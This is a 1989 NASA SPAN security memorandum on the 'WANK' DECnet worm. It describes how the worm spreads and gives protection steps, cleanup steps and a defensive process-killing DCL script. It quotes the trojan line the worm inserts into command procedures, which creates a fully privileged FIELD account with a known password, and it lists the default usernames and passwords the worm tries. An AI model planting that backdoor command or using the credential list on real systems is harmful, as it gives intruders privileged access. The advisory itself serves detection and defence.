Hacker 2/HACKER2.mdf/virus/span01.txt

Text File | 1995-01-03 | 18KB | 419 lines

=============================================================================
INTRANETWORK MEMORANDUM                               SPAN MANAGEMENT OFFICE
=============================================================================
                                                                  19-OCT-1989

TO:     ALL SPAN ROUTING CENTER MANAGERS AND REMOTE-NODE MANAGERS

FROM:    RON TENCATI - SPAN SECURITY MANAGER
    GODDARD SPACE FLIGHT CENTER  CODE 630.2
    GREENBELT, MD. 20771
    [phone]

SUBJ:   INFORMATION REGARDING THE DECNET WORM AND PROTECTION MEASURES

                            ----------
The following information covers several aspects of the "WANK" DECnet worm
which was released into the "DECnet Internet" earlier in the week.

Information contained in prior reports written by John McMahon of GSFC and
Kevin Oberman of LLNL was used in preparing report.  The assistance of
Digital Equipment Corporation is also gratefully acknowledged.

Previous messages regarding this worm appearing on various mailing lists
have indicated that system managers with questions or infected nodes should
call other organizations.

For clarification, any SPAN-connected system that believes itself to be
infected, or attacked should contact ONLY the SPAN management at Goddard
Space Flight Center, Greenbelt, MD.  The security effort is being
coordinated by this group and all reports should be directed there.  The
contact number is [phone] or [phone].  Electronic mail should be
sent to NSSDCA::TENCATI or NSSDCA::NETMGR only.  Do not send infection
reports to any other node on SPAN.

HEPnet sites should contact FNAL::DEMAR.


BACKGROUND
----------

The worm's mission is to propagate itself randomly across the network,
to seek out systems with poor security, and to establish itself in a
priviliged account whereupon it will modify the system's SYS$ANNOUNCE
banner to the following message:



      W O R M S    A G A I N S T    N U C L E A R    K I L L E R S
    _______________________________________________________________
    \__  ____________  _____    ________    ____  ____   __  _____/
     \ \ \    /\    / /    / /\ \       | \ \  | |    | | / /    /
      \ \ \  /  \  / /    / /__\ \      | |\ \ | |    | |/ /    /
       \ \ \/ /\ \/ /    / ______ \     | | \ \| |    | |\ \   /
        \_\  /__\  /____/ /______\ \____| |__\ | |____| |_\ \_/
         \___________________________________________________/
          \                                                 /
           \    Your System Has Been Officically WANKed    /
            \_____________________________________________/

     You talk of times of peace for all, and then prepare for war.

                            ---------
We don't currently see that the WORM is destructive, BUT it wastes
resources, and may result in denial of service by locking out priviliged
users or causing non-infected nodes to consume disk space storing all the
audit records from the failed access attempts.

The worm attempts to establish itself onto a system by exploiting various
weaknesses in the DECnet environment.  Some of these weaknesses have been
addressed by previous SPAN directives and guidelines.  Systems that have
implemented these guidelines are not at risk.

A random number generator is used to pick the next node the worm will try
to infect. The worm contains an internal list of 82 canned usernames that
it will try against a system.

In addition, it attempts to copy the file RIGHTSLIST.DAT from the selected
target node.  This file is normally protected W:R. If this file is
successfully copied, a list of usernames specific to the target system will
be generated and some subset of those will be appended to the "canned"
list.  The candidate words the worm uses whether or not it was successful
at accessing RIGHTSLIST.DAT are the following:

      ACCOUNITING   ACCOUNTS     ALLIN1       APPLETALK     ARCHIVE
      BACKUP        CADCAM       COGNOS       CRAYSTN       CUSTOMER
      DDSNET        DEC          DECNET       DEFAULT       DEMO
      DFS$DEFAULT   DIGITAL      DNS$SERVER   DQS$SERVER    ETHERNIM
      EXOS          FIELD        GAMES        GUEST         HASP
      IBM           INGRES       INVENTORY    ISSYS         IVP
      LIBRARY       LN03_DLAND   LPS$SERVER   MAC           MAIL
      MAILER        MANAGER      MANUALS      MASS11        MBMANAGER
      MIS           MRGATE       MANAGER      NETNONPRIV    NETPRIV
      NEWSMGR       NOTES$SERVER OPER         OPERATOR      ORACLE
      OSI           PCAPP        PCCOMMON     PLUTO         POSTMASTER
      RDBVMS$REM    RHM          SECURITY     SHUTDOWN      SNACSV
      SPEAR         SPM          SRS          STUDENT       SUPPLIES
      SYSINF        SYSTEM       SYSTEST      SYSTEST_CLIG  TAPESYS
      TCP           TELEX        TEMP         TEST          TRAINING
      TRANSFER      USER         USER1        USERP         VAXNET
      VAXSIM        VTX          VXSYS

The PASSWORDS tried against the set of accounts MAY be the username
ONLY, OR other passwords may be tried (such as DIGITAL, PSIPAD, MANAGER,
etc) apparently depending on the version of the WORM. A bug in the worm
prevents it from testing the null password as previously suspected.

                          --------------
[The following section provides information relating to the behavior of
the worm. This information was primarily supplied by Kevin Oberman of
LLNL and John McMahon of GSFC]
                          --------------

1. The program assures that it is working in a directory to which the owner
   (itself) has full access (Read, Write,Execute, and Delete).

2. The program checks to see if another copy is still running. It looks for a
   process with the first 5 characters of "NETW_". If such is found, it deletes
   itself (the file) and stops its process.

                               NOTE

    This check is done using the F$GETJPI system service.  The results
    vary depending on the amount of priviliges the account possesses.
    Non-priviliged accounts which are penetrated will only be able to
    return information about their own UIC, so multiple copies of the
    worm could be running simultaneously under different usernames.


3. The program then changes the default DECNET account password to a random
   string of at least 12 characters.

4. Information on the infected node and account/password used to access the
   system is mailed to a central collection point on SPAN.

5. The process changes its name to "NETW_" followed by a random number.

6. It checks to see if it has SYSNAM priv. If so, it defines the system
   announcement message to be the WANK banner.

7. If it has SYSPRV, it disables mail to the SYSTEM account.

8. Also if it has SYSPRV, it modifies the system login command procedure
   (SYLOGIN.COM) to APPEAR to delete all of a user's files. (It really does
   nothing.)

9. The procedure then scans the accounts logical name table for symbols
   which contain directory specifications. Each directory located is searched
   for command procedures within it protected (W:RWED). Any such procedures
   have code inserted at the top which tries to modify the FIELD account to a
   known password with login from any source and all privs. This is a
   primitive virus, but very effective IF the procedure should be executed by
   a priviliged account.

10. It proceeds to attempt to access other systems by picking node numbers
   at random. It then used PHONE to get a list of active users on the remote
   system. It proceeds to irritate them by causing the PHONE object to send
   them a one-line "fortune cookie" type message.  The appearance of this
   message does not indicate a penetration attempt on that node, more
   appropriately, it indicates an "irritation attempt".

                                 NOTE
   If your site receives these PHONE messages the source node
   information can be found in the NETSERVER.LOG files in your DECnet
   default account.

11. The program tries to access the RIGHTSLIST.DAT file as previously
   described earlier.

12. It then steps through the list of usernames it has built and uses FAL
   to validate the candidate userid/password combination.  If a password is
   guesses, the worm copies itself over to the target system and starts itself
   via the SUBMIT/REMOTE feature of VMS.

13. When the worm finishes with a system, it picks another random system and
   repeats (forever).



SECURITY GUIDELINES TO STOP THE SPREAD OF THIS WORM:
====================================================


1. It is IMPERATIVE that all systems protect or remove the DECnet TASK 0
   object to prevent reoccurrance of this worm, OR MORE SERIOUS ATTACKS
   OF THIS KIND IN THE FUTURE!

   The TASK object can be secured by either of the following methods:

Method 1):
    Issue the command:

        NCP> CLEAR OBJECT TASK ALL

    after the network is started up. This command can also be
    inserted into the procedure SYSTARTUP.COM (SYSTARTUP_V5.COM on V5.x
    systems) after the call to STARTNET.COM.  In addition while the system
    is running, this command must be executed EACH TIME the network is
    restarted.

Method 2):
    Issue the following commands ONCE:

    NCP> SET OBJECT TASK USER DECNET PASSWORD <a bunch of garbage>
    NCP> DEFINE OBJECT TASK USER DECNET PASSWORD <a bunch of garbage>

    This causes a login failure to be generated whenever the TASK
    object is accessed.  Once done, this change will be permanent.

                    NOTE
          We have received one report that TASK 0 is required
          for DECwindows.  Read your documentation!


2. Under NO circumstances it is acceptable for an account to have a
   password the same as the username.  Passwords (passPHRASES) should be
   created so that they are difficult to guess, multi-word phrases are
   preferable. As a precaution, we recommend that all passwords be changed.
   Additionally, system managers may choose to revalidate ALL accounts.

   If a system had the DECNET TASK 0 protected as above, the DECNET account
   protected against SUBMIT/REMOTE (described below) and no user had their
   userid as their password, it was immune to this WORM.  As a result, the
   number of nodes actually INFECTED by this attack is relatively small. The
   number ATTACKED however, is large.

3. NETWORK ACCOUNTS
   To protect against the SUBMIT/REMOTE attack, run AUTHORIZE and make sure
   that all network account flags are set to NOBATCH, NODIALUP, NOLOCAL,
   and NOREMOTE.

4. FIELD ACCOUNT
   Make sure the FIELD ACCOUNT does not have the password FIELD. DISUSER the
   account.  You must SEARCH all .COM files for a "field/remote/dialup". If
   the search shows it is in .COM files, They have a trojan horse appended
   to the files. When the .COM file is executed, This Trojan horse will try
   to reset account FIELD to /NODISUSER and password to FIELD.  You should
   either delete the corrupted .COM file and obtain a good one elsewhere, or
   examine the file and remove the affected lines of the command procedure.

5. WORM FILES
   The WORM source files are W.COM or a single alphabetic character (C or D)
   followed by 4 or 5 numeric characters. (Cnnnnn.COM), ("nnnn" represents a
   random number). The WORM will start a process or processes running.
   These processes are named in format NETW_nnnn, and should be deleted.
   PHONE_nnnn may also be running as the WORM utilizes the PHONE object in
   an attempt to send a message to a user on another randomly selected node.

6. ALARMS
   Some alarms generated by the WORM are related to PHONE.EXE and FAL.EXE.
   The majority of the alarms are login failures as the WORM attempts to log
   into specific accounts.

   We recommend that alarms be set immediately for logins, logouts, breakin
   attempts, modifications to the system and net UAF's, and to changes to
   user and system passwords.


DISCOVERY AND CLEANUP
----------------------

  1.     Log into a "privileged account"
        $ SHOW SYSTEM
       Look for NETW_dddd (dddd represents 4 or 5 random digits)
        IF NETW_dddd is found, note the process ID and do:
       $ STOP PROCESS/ID=NETW_dddd

    The command procedure included below can be used by system
    managers to perform this function in the background.  It is
    recommended that this procedure be run for the next week or
    so until the worm is killed-off.

   2.     Check the protection on all command procedures.  If any are
    (W:REWD), check for infection.  There should be two versions. The
     older one should be OK unless multiple infection has occurred.
    Generally the oldest version is OK but this is not guaranteed.

    An easy method is to execute the command on every disk:

        $SEARCH dev:[000000...]*.COM;* PASS=FIELD

    Any infected files will contain the line:

    $mcr authorize add field/remote/dialup/network/batch/defpriv=all
    /priv=all/flag=(nodisuser,nocaptive,nopwd_expire)/pass=field

   3.    Redefine or deassingn the SYS$ANNOUNCE logical name.  Replace
    the correct SYS$ANNOUNCE messages.   (Note the initial value of
    SYS$ANNOUNCE to identify the infected user account and location of
    the false announce message files (on infected systems only).

   4.      Clean up SYSLOGIN.COM.  Remove the bogus file deletion routine.

   5.      Search all login directories for files named Cddddd.com or
        Dddddd.com.  Dddddd.COM is a dummy file which precedes the actual
    infection. Cddddd.COM is the worm itself (normally both are
    deleted by the worm).

   6.   If your node is attacked or penetrated, please contact the SPAN
    Management immediately via MAIL or by phone. Send all messages
    to either NSSDCA::TENCATI or NSSDCA::NETMGR. If you do not have
    NSSDCA defined in your database, use the node number 6277::. We
    need to know which nodes have the worm running on them so we can
    coordinate cleanup measures with the appropriate personnel.

                     NOTE
      A tell-tale sign that your node was ATTACKED will be multiple
      login failure reports in your operator.log file.


   7.   DO NOT DELETE ANY OF YOUR LOG FILES OR AUDIT TRAILS.  THIS
    INFORMATION MAY BE REQUESTED OF YOU LATER IF THIS MATTER IS GOING
    TO BE PROSECUTED.


PREVENTION MEASURES
-------------------

    1.  Ensure all user accounts have good password management. (No
        "user user" or null passwords.)

    2.  No world READ command procedures in user or priviliged
        accounts.

    3.  No TASK objects.

    4.  Do not use the the account names as the password on network
        accounts.  (Use the V5.2 approach - separate object userid's)

    5.  Ensure all network accounts are set NOBATCH, NOLOCAL, NODIALUP,
        and NOREMOTE and have a PRCLIM of 1.

    6.  Audit all changes by AUTHORIZE. Analyze audit trail for changes
        to the FIELD account.

    7.  Place an ALARM ACE on SYS$MANAGER:SYLOGIN.COM;* for
        WRITE+DELETE+SUCCESS access. Enable ACL auditing. Analyze the
        audit trail for change to SYLOGIN.COM.

    8.  Make sure ACCOUNTING and OPCOM are running and proper alarms
        are set.

    9.  Protect RIGHTSLIST.DAT against World access.  Alternatively
        move or rename it and define the logical symbol RIGHTSLIST
        to the new file. ($DEF/SYS/EXEC RIGHTSLIST <renamed file>)
        This will limit the ability of the worm to determine
        actual valid usernames.
----------------------------------------------------------------------------

The following command procedure was written by John McMahon at GSFC.  It
can be run as a batch job under a priviliged account.  This procedure
searches all processes on a running system to determine if the worm process
is present.  If detected, the worm is deleted.


---------------------------- ANTIWANK.COM ----------------------------------
$!
$!    Antiwank.Com - This program performs two functions.  It kills any
$!    copy of the worm currently running (any process starting with NETW_
$!    in it's name) and disguises itself as a copy of the worm to help
$!    prevent new copies from being created.
$!
$!    This program should be submitted to a batch queue under the username
$!    SYSTEM.  It requires WORLD priv to check the process names on your
$!    CPU.  It runs continuously, but uses little overhead.
$!
$!    This program uses the process name "NETW_AntiWank".  It should not be
$!    confused as a copy of the worm program itself (which uses
$!    NETW_randomnumber).
$!
$!    The system manager should add additional userids to the line
$!    beginning with SEND_MAIL_TO.  If the program detects the worm,
$!      it will send a detection message to the userids in SEND_MAIL_TO.
$!
$!    John McMahon
$!    NASA/GSFC CODE 630.4
$!
$!    18-OCT-1989 16:11:56.21
$!
$!    SPAN:        SDCDCL::FASTEDDY
$!    Internet:    [e-mail]
$!    Bitnet:        Fasteddy@Dftbit
$!
$!    Phone:    [phone]
$!
$ Set NoON
$ AntiWank_Name = "NETW_AntiWank"
$ Process_Name_Prefix = "NETW_"
$ Send_Mail_To = "SYSTEM"
$ Set Process/Priv=(World)
$ Set Process/Name="''AntiWank_Name'"
$ Start:
$ Context = ""
$ Pid_Loop:
$ Check_Pid = F$Pid(Context)
$ If Check_Pid .Eqs. "" Then Goto End_Pid_Loop
$ Check_Prcnam = F$Edit(F$Getjpi(Check_Pid,"PRCNAM"),"TRIM")
$ Write Sys$Output "Process Name: ",Check_Prcnam
$ If Check_Prcnam .Eqs. AntiWank_Name Then Goto Pid_Loop
$ If F$Extract(0,5,Check_Prcnam) .Eqs. Process_Name_Prefix Then -
  Gosub Action_Routine
$ Goto Pid_Loop
$!
$ End_Pid_Loop:
$ Write Sys$Output F$TIME()," ANTIWANK is still working for you"
$ Wait 00:10:00
$ Goto Start
$!
$ Action_Routine:
$ Write Sys$Output "Action Routine"
$ Username = F$Getjpi(Check_Pid,"Username")
$ Stop/Id='Check_Pid'
$ Mail NL: 'Send_Mail_To' -
  /SUBJECT="Worm Terminated ''$Status' ''Check_Prcnam' ''Check_Pid' ''Username'"
YES
$ Return
---------------------------END OF ANTIWANK.COM-------------------------

Downloaded From P-80 International Information Systems 304-744-2253